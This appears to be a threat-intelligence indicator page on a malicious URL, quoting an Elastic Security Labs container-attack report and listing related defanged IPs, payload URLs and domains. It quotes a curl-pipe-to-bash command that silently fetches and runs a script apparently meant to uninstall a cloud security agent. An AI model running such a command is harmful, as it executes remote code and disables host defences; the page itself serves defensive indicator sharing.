hxxp://update.aegis.aliyun[.]com/download/uninstall.shURL
Reported by 1 independent source · first reported by Elastic Security Labs · last reported
Last reported 7 months ago
What the reports say
1 report, newest first · the exact sentence from each-
Linux & Cloud Detection Engineering - TeamPCP Container Attack Scenario“curl -fsSL hxxp://update.aegis.aliyun[.]com/download/uninstall.sh | bash 2>/dev/null || true”
Indicators reported together
named in the same reports- config[.]fishin 1 report
- hxxp://67.217.57[.]240:666/files/proxy.shin 1 report
- 67.217.57[.]240in 1 report
- hxxp://44.252.85[.]168:666/files/kube.pyin 1 report
- 44.252.85[.]168in 1 report
- network[.]targetin 1 report
- multi-user[.]targetin 1 report
Copy these 7 indicators · defanged
Thanks — we review every report.